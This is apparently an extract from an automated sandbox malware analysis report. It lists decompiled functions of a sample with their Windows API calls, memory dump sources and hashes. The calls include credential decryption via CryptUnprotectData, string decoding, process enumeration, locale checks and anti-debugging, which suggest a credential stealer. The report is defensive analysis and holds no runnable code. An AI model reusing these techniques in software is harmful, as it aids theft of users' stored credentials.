Instruction ID: 9e175830caf9148bd7a219e001ec971bef60eefc02138b6d75eb658f8e5d4480
Opcode Fuzzy Hash: 70d4dbc2df0c449e42b531910b7457683d7e33f1b1efd4492f1c83a3618bacdf
Instruction Fuzzy Hash: 94112EB5E15218ABCB24DFA0DC48BDEB7B9BB48700F00558DF509A6240EB749B84CF91

Function 0249CB87 Relevance: 10.6, APIs: 7, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0249CBBA
lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0249CBD8
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0249CBE3
memcpy.MSVCRT(?,?,?), ref: 0249CC79
lstrcat.KERNEL32(?,00420B47), ref: 0249CCAA
lstrcat.KERNEL32(?,00420B4B), ref: 0249CCBE
lstrcat.KERNEL32(?,00420B4E), ref: 0249CCDF

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: bfbaf21689b8136d467466e44178197795bb6f205839b656af30e0f0eb0eb3c5
Instruction ID: ff4c0d9ac6ee4daa0f3c3232a660cec9c9581cb7da89508be267659504fa95fc
Opcode Fuzzy Hash: bfbaf21689b8136d467466e44178197795bb6f205839b656af30e0f0eb0eb3c5
Instruction Fuzzy Hash: 1D4151B4D04219EBDB10CFA0DD88BEEBBB9BB48304F1045AAF509A7280D7745B84CF91

Function 0040C920 Relevance: 10.6, APIs: 7, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C953
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,007DD580), ref: 0040C971
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C97C
memcpy.MSVCRT(?,?,?), ref: 0040CA12
lstrcatA.KERNEL32(?,00420B47), ref: 0040CA43
lstrcatA.KERNEL32(?,00420B4B), ref: 0040CA57
lstrcatA.KERNEL32(?,00420B4E), ref: 0040CA78

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: b72dd9bfbf458160f1e602edd60bafd9c1ab3fe4aebb36f7fc77a597216b37cf
Instruction ID: ab8a272bb0ac48908ccb48df32c4a676bf2e37b68a454f4a62162a4422f92537
Opcode Fuzzy Hash: b72dd9bfbf458160f1e602edd60bafd9c1ab3fe4aebb36f7fc77a597216b37cf
Instruction Fuzzy Hash: FD4130B4E0421DDBDB10CFA4DD89BEEB7B9BB48304F1042AAF509A62C0D7745A84CF95

Function 0041B63A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BEA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BEB7
UnhandledExceptionFilter.KERNEL32(eM), ref: 0041BEC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BEDE
TerminateProcess.KERNEL32(00000000), ref: 0041BEE5

Strings

eM, xrefs: 0041BEBD

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: eM
API String ID: 2579439406-4107679315
Opcode ID: 193660ad69945e5d4e8f2537fb9143e859482eb6e3c007ea4e683d192d75b70a
Instruction ID: e0cf9fd370cfefa4586a3e07c7ad2671862445e1fb84a52232205764a1bb9e34
Opcode Fuzzy Hash: 193660ad69945e5d4e8f2537fb9143e859482eb6e3c007ea4e683d192d75b70a
Instruction Fuzzy Hash: FC21CCB8902214DFC710DF69FC85A883BB4FB18314F12807BE90887262E7B499818F5D

Function 0040A210 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

Strings

>O@, xrefs: 0040A224, 0040A231, 0040A249, 0040A268, 0040A234, 0040A26B

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: >O@
API String ID: 4291131564-3498640338
Opcode ID: edccb5067cb49db7a5de6f654d3a134b15aae92a07ed0db144d4c911c0eb6ceb
Instruction ID: de78b312e53d8eb1032a325daaba17a5ad67a9fc4c37dbc2dcfee383a82f1a49
Opcode Fuzzy Hash: edccb5067cb49db7a5de6f654d3a134b15aae92a07ed0db144d4c911c0eb6ceb
Instruction Fuzzy Hash: 3B11D474641308AFEB10CF64DC95FAA77B5EB88B04F208099FD159B3D0C776AA41CB50

Function 024FED3D Relevance: 7.6, Strings: 6, Instructions: 123COMMON

Download Yara Rule

Strings

{, xrefs: 024FEF01
{, xrefs: 024FEE11
\u, xrefs: 024FEEFA
}, xrefs: 024FEE06
\u, xrefs: 024FEE0A
}, xrefs: 024FEEF6

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID:
String ID: \u$\u${${$}$}
API String ID: 0-582841131
Opcode ID: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
Instruction ID: f6147f37be6dbda5450e04849e56500b3b9fde5092d4754d3a2f267afa5fecdd
Opcode Fuzzy Hash: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
Instruction Fuzzy Hash: D8418C23E19BCAC5CB058B7484A02AEBFB22FE6210F5D42DBC49D1F782D774414AD3A5

Function 024A7F87 Relevance: 7.6, APIs: 5, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

GetKeyboardLayoutList.USER32(00000000,00000000,004205B7), ref: 024A7FD8
LocalAlloc.KERNEL32(00000040,?), ref: 024A7FF0
GetKeyboardLayoutList.USER32(?,00000000), ref: 024A8004
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 024A8059
LocalFree.KERNEL32(00000000), ref: 024A8119

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID:
API String ID: 3090951853-0
Opcode ID: a4d0a0c2b3a684d2ad9d0c86ecadcb3cbe89c53720147a644a945addcb2b8918
Instruction ID: be7c4d72bf5fa51743e9cfaefb771f7571bd98d7d76793d1f35a3a2931e90e73
Opcode Fuzzy Hash: a4d0a0c2b3a684d2ad9d0c86ecadcb3cbe89c53720147a644a945addcb2b8918
Instruction Fuzzy Hash: 76415DB1941228ABCB24DF94DCA9FEEB375FB64704F20419AE10A66190DB346F88CF50

Function 024AB8A1 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 024AC109
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 024AC11E
UnhandledExceptionFilter.KERNEL32(0041F2B0), ref: 024AC129
GetCurrentProcess.KERNEL32(C0000409), ref: 024AC145
TerminateProcess.KERNEL32(00000000), ref: 024AC14C

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 193660ad69945e5d4e8f2537fb9143e859482eb6e3c007ea4e683d192d75b70a
Instruction ID: ea6347caae58ec27e78488a5d9aa5a32714429dc7ed2ccfc885d633fe39aa834
Opcode Fuzzy Hash: 193660ad69945e5d4e8f2537fb9143e859482eb6e3c007ea4e683d192d75b70a
Instruction Fuzzy Hash: CA21BDB8902214DFDB10DF6AF895A883BB4FB18314F52807FE91897261E7B199858F1D

Function 02497507 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 02497514
RtlAllocateHeap.NTDLL(00000000), ref: 0249751B
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 02497548
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 0249756B
LocalFree.KERNEL32(?), ref: 02497575

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 71551e695a0caf509547d065f2a667422435cc09d56db0d1c7835a16714f6d9a
Instruction ID: 492944204d5fdd53f3a2ecc4e19902dce0545e8457ae89ae78312e98a0dc43af
Opcode Fuzzy Hash: 71551e695a0caf509547d065f2a667422435cc09d56db0d1c7835a16714f6d9a
Instruction Fuzzy Hash: 940100B5A45308BBDB10DFE4DC45F9D7779AB44B04F108546FB05AA2C0D770AB40CB55

Function 004072A0 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0), ref: 004072AD
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004072B4
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004072E1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407CF0,80000001,00416414), ref: 00407304
LocalFree.KERNEL32(?,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 0040730E

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 71551e695a0caf509547d065f2a667422435cc09d56db0d1c7835a16714f6d9a
Instruction ID: 53cc3c192cf3f0b8553079c3b9831d6236397efc4a83699197ab53cf729bcbdc
Opcode Fuzzy Hash: 71551e695a0caf509547d065f2a667422435cc09d56db0d1c7835a16714f6d9a
Instruction Fuzzy Hash: 43010075E45308BBEB14DFA4DC45F9E7779AB44B00F104556FB05BA2C0D670AA009B55

Function 024A99F7 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 024A9A15
Process32First.KERNEL32(00420ACE,00000128), ref: 024A9A29
Process32Next.KERNEL32(00420ACE,00000128), ref: 024A9A3E
StrCmpCA.SHLWAPI(?,00000000), ref: 024A9A53
CloseHandle.KERNEL32(00420ACE), ref: 024A9A71

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ab7854b09e34a3e72564da4cae313691c3db6a0f4efd60600c229a2cf8e43cf1
Instruction ID: c409dd2dd518d3c669b4b89f7e55e31fb875bf14c21e34ab9f606edca6413ac6
Opcode Fuzzy Hash: ab7854b09e34a3e72564da4cae313691c3db6a0f4efd60600c229a2cf8e43cf1
Instruction Fuzzy Hash: 16011E75A05248EBCB20DFA4CD94BDEB7F9BB08700F00418AE50A97240EB709B40CF51

Function 00419790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004197AE
Process32First.KERNEL32(00420ACE,00000128), ref: 004197C2
Process32Next.KERNEL32(00420ACE,00000128), ref: 004197D7
StrCmpCA.SHLWAPI(?,00000000), ref: 004197EC
CloseHandle.KERNEL32(00420ACE), ref: 0041980A

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ab7854b09e34a3e72564da4cae313691c3db6a0f4efd60600c229a2cf8e43cf1
Instruction ID: 1fbe04e52da5ee7ffdaa7b0a109f2e7c212eef70923f216ae4cda371332784c4
Opcode Fuzzy Hash: ab7854b09e34a3e72564da4cae313691c3db6a0f4efd60600c229a2cf8e43cf1
Instruction Fuzzy Hash: 49010C75E15209EBDB20DFA4CD54BDEB7B9BB08700F14469AE50996240E7349F80CF61

Function 00413970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0041E120,00000000,00000001,0041E110,00000000), ref: 004139A8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00413A00

Strings

,<A, xrefs: 0041398D, 00413AE4, 00413AE7

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: ,<A
API String ID: 123533781-3158208111
Opcode ID: 6035193581f456c28db8c3dbbb17385d9df3aded10c54e768140ce262fc94c92
Instruction ID: 4ceafe5fcd3fa6382eb1302e1b13d25b09f52af09297020757b8d8bc714daff3
Opcode Fuzzy Hash: 6035193581f456c28db8c3dbbb17385d9df3aded10c54e768140ce262fc94c92
Instruction Fuzzy Hash: A8410670A00A28AFDB24DF58CC95BDBB7B5AB48302F4041D9E608E7290E7B16EC5CF50

Function 024A9297 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,0249543B,40000001,00000000,00000000,?,0249543B), ref: 024A92B7

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 5fcb9d7601459770c1d68cf3a08c3d703ee7026a9ffe2d555f4c4387a797331f
Instruction ID: 6782a1d9751445ee36198826cf36e25eb8488e5d03aca99be257e77101989b5b
Opcode Fuzzy Hash: 5fcb9d7601459770c1d68cf3a08c3d703ee7026a9ffe2d555f4c4387a797331f
Instruction Fuzzy Hash: D3111C75608209BFDB04CF54D894FAB33B9AF99710F409559F9098F250D7B1E941CB60

Function 00419030 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00419050

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 5fcb9d7601459770c1d68cf3a08c3d703ee7026a9ffe2d555f4c4387a797331f
Instruction ID: a6271c561c9c1d5471e6a4d7c0a7a185f0e3b346a55a3ee80b23d48c8130208f
Opcode Fuzzy Hash: 5fcb9d7601459770c1d68cf3a08c3d703ee7026a9ffe2d555f4c4387a797331f
Instruction Fuzzy Hash: 6C11F874604208EFDB00CF54D894BAB37A9AF89310F109449F91A8B350D779ED818BA9

Function 0249A477 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,024951A5,00000000,00000000), ref: 0249A4A6
LocalAlloc.KERNEL32(00000040,?,?,?,024951A5,00000000,?), ref: 0249A4B8
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,024951A5,00000000,00000000), ref: 0249A4E1
LocalFree.KERNEL32(?,?,?,?,024951A5,00000000,?), ref: 0249A4F6

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: edccb5067cb49db7a5de6f654d3a134b15aae92a07ed0db144d4c911c0eb6ceb
Instruction ID: f19c9bae0916562463a19a9a13ba704b3f3d90a77e74e553654a155c7079d573
Opcode Fuzzy Hash: edccb5067cb49db7a5de6f654d3a134b15aae92a07ed0db144d4c911c0eb6ceb
Instruction Fuzzy Hash: D811A274641308AFEB10CF64CC95FAA77B6FB89714F208459FD199B390D7B2AA40CB51

Function 0249A517 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0249A53B
LocalAlloc.KERNEL32(00000040,00000000), ref: 0249A55A
memcpy.MSVCRT(?,?,?), ref: 0249A57D
LocalFree.KERNEL32(?), ref: 0249A58A

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7a2dd4eca20753c076bf09b0c62142b9a669e1cd6be9ab3d7b47191422cd3cdd
Instruction ID: a0b43f09f7df516887b69107a585e14f2d82b216b7e6e544d7613708c6c001ad
Opcode Fuzzy Hash: 7a2dd4eca20753c076bf09b0c62142b9a669e1cd6be9ab3d7b47191422cd3cdd
Instruction Fuzzy Hash: 53118AB8A01209EFCB04DFA8D985AAEB7B5FF89304F108559FD1597350D770AA50CFA2

Function 0040A2B0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A2D4
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A2F3
memcpy.MSVCRT(?,?,?), ref: 0040A316
LocalFree.KERNEL32(?), ref: 0040A323

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7a2dd4eca20753c076bf09b0c62142b9a669e1cd6be9ab3d7b47191422cd3cdd
Instruction ID: b2ce5641e7fa807fe786f78e48a01c4c7ef199da86c861ee62a52048bf8154be
Opcode Fuzzy Hash: 7a2dd4eca20753c076bf09b0c62142b9a669e1cd6be9ab3d7b47191422cd3cdd
Instruction Fuzzy Hash: 3611ACB4900209DFCB04DF94D988AAE77B5FF88300F104559ED15A7350D734AE50CF61

Function 0249092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 0249095F
l, xrefs: 02490966
GetProcAddress., xrefs: 024909DC, 024909DF, 024909E4

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 11c3ce01d4b21e2cad106f8ee3e8e99851c685a3892a5c7049a3e18a3c7c256e
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 153139B6900609DFDB10CF99C880AAEBBF9FF48328F15514AD841AB310D771EA45CFA4

Function 00418CF0 Relevance: 1.6, APIs: 1, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

GetSystemTime.KERNEL32(?,007DA120,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID:
API String ID: 62757014-0
